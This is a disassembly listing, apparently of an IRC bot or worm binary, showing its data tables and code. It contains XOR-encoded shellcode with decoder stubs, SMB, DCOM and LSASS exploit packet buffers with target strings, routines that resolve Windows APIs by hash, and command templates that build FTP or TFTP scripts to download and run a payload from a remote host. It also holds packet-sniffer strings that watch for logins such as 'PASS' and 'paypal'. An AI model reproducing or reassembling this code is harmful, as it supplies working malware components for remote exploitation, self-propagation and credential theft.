dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o
align 4
off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o
off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co
off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o
unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_427528 db 2 ; DATA XREF: sub_402688+2ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o
align 4
unk_427578 db 2 ; DATA XREF: sub_402688+186o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 10h
unk_4275C0 db 2 ; DATA XREF: sub_402688+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
unk_427604 db 2 ; DATA XREF: sub_402688+85o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o
; sub_402DD7+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_402B84+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o
dd 20h, 5C005Ch, 0
off_427A0C dd offset unk_43005C ; DATA XREF: sub_402B84+15Do
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o
dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo
asc_427B64: ; DATA XREF: sub_4029E9+1Co
; sub_402ACC+16o
unicode 0, <\\>,0
align 4
off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co
; sub_402ACC+Bo
dd offset dword_430050
dd 24h
unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTransferComple db ' transfer complete to IP: %s',0
align 10h
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
align 8
jmp short loc_427BDA
; =============== S U B R O U T I N E =======================================
sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_427BD2: ; CODE XREF: sub_427BCA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_427BD2
jmp short loc_427BDF
; ---------------------------------------------------------------------------
loc_427BDA: ; CODE XREF: ___:00427BC8j
call near ptr sub_427BCA
loc_427BDF: ; CODE XREF: sub_427BCA+Ej
jo short loc_427C43
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_427C61
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_427C61: ; CODE XREF: sub_427BCA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_427BCA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_427D08: ; DATA XREF: sub_403249+156o
; sub_403249+212o
jmp short loc_427D1A
; =============== S U B R O U T I N E =======================================
sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_427D12: ; CODE XREF: sub_427D0A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_427D12
jmp short loc_427D1F
; ---------------------------------------------------------------------------
loc_427D1A: ; CODE XREF: ___:loc_427D08j
call sub_427D0A
loc_427D1F: ; CODE XREF: sub_427D0A+Ej
jo short near ptr dword_427C98+1Eh
cwde
cdq
cdq
retn
sub_427D0A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_403249+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:0040370Do
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00403739o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00403760o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_403249+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd offset loc_407079+3
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403249+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r
; sub_403249+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o
; sub_405144+DFo ...
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4030E8+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------
loc_428620: ; DATA XREF: sub_403249+177o
jmp short loc_428628
; ---------------------------------------------------------------------------
jmp short loc_42862A
; ---------------------------------------------------------------------------
align 8
loc_428628: ; CODE XREF: ___:loc_428620j
; DATA XREF: sub_403249+27o
pop esp
pop esp
loc_42862A: ; CODE XREF: ___:00428622j
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr
dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r
byte_42863C db 90h ; DATA XREF: sub_403A90+B2o
db 42h, 90h, 42h
db 90h
dd offset word_429042
align 4
dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao
dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o
dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o
dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o
dd 800000D4h, 0
unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_42876C db 41h ; DATA XREF: sub_404032+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4287B0 proc near ; DATA XREF: ___:0040430Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4288AC
push dword ptr [esi]
push 63D61209h
call sub_4288C2
mov [esi+8], eax
call sub_428875
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4288C2
mov [esi+0Ch], eax
call sub_428827
push dword ptr [esi+4]
push 4C0297FAh
call sub_4288C2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4287B0 endp
; =============== S U B R O U T I N E =======================================
sub_428827 proc near ; CODE XREF: sub_4287B0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_428850
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_428827 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428850 proc near ; CODE XREF: sub_428827+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_42885F: ; CODE XREF: sub_428850+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_42886C
inc ebx
jmp short loc_42885F
; ---------------------------------------------------------------------------
loc_42886C: ; CODE XREF: sub_428850+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_428850 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_42888D: ; CODE XREF: sub_428875+1Ej
cmp [ecx], ebx
jz short loc_428895
mov ecx, [ecx]
jmp short loc_42888D
; ---------------------------------------------------------------------------
loc_428895: ; CODE XREF: sub_428875+1Aj
mov edx, edi
loc_428897: ; CODE XREF: sub_428875+2Aj
cmp [edx+4], ebx
jz short loc_4288A1
mov edx, [edx+4]
jmp short loc_428897
; ---------------------------------------------------------------------------
loc_4288A1: ; CODE XREF: sub_428875+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_428875 endp
; =============== S U B R O U T I N E =======================================
sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4288AC endp
; =============== S U B R O U T I N E =======================================
sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p
; sub_4287B0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4288D8: ; CODE XREF: sub_4288C2+33j
jecxz short loc_428912
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4288E5: ; CODE XREF: sub_4288C2+2Dj
lodsb
cmp al, ah
jz short loc_4288F1
ror edi, 0Dh
add edi, eax
jmp short loc_4288E5
; ---------------------------------------------------------------------------
loc_4288F1: ; CODE XREF: sub_4288C2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4288D8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j
; sub_4288C2:loc_428912j
jmp short loc_428912
sub_4288C2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_428918 proc near ; DATA XREF: ___:004042BFo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42896A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_428935: ; CODE XREF: sub_428918+38j
jecxz short loc_428965
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_428940: ; CODE XREF: sub_428918+32j
lodsb
test al, al
jz short loc_42894C
ror edx, 0Dh
add edx, eax
jmp short loc_428940
; ---------------------------------------------------------------------------
loc_42894C: ; CODE XREF: sub_428918+2Bj
cmp edx, [esp+arg_0]
jnz short loc_428935
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_428965: ; CODE XREF: sub_428918:loc_428935j
mov [esp+arg_0], ebx
retn
sub_428918 endp
; =============== S U B R O U T I N E =======================================
sub_42896A proc near ; CODE XREF: sub_428918+7p
; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_428983
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_42898E
; ---------------------------------------------------------------------------
loc_428983: ; CODE XREF: sub_42896A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_42898E: ; CODE XREF: sub_42896A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4289A2
sub_42896A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_428995 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42896A
loc_4289A2: ; CODE XREF: sub_42896A+29j
call sub_428995
loc_4289A7: ; DATA XREF: sub_403A35+1Bo
; sub_40EE72+822o
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42896A
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o
dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo
dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo
dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o
align 10h
loc_4289D0: ; DATA XREF: sub_403A90+E8o
jmp short near ptr dword_4289D8
; ---------------------------------------------------------------------------
align 8
dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: ___:004042E4o
; sub_404F9A+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------
loc_428A5C: ; CODE XREF: ___:00428A66j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_428A5C
inc edi
jz short loc_428AA3
and eax, 952CE753h
inc esp
jle short loc_428ACB
push es
lahf
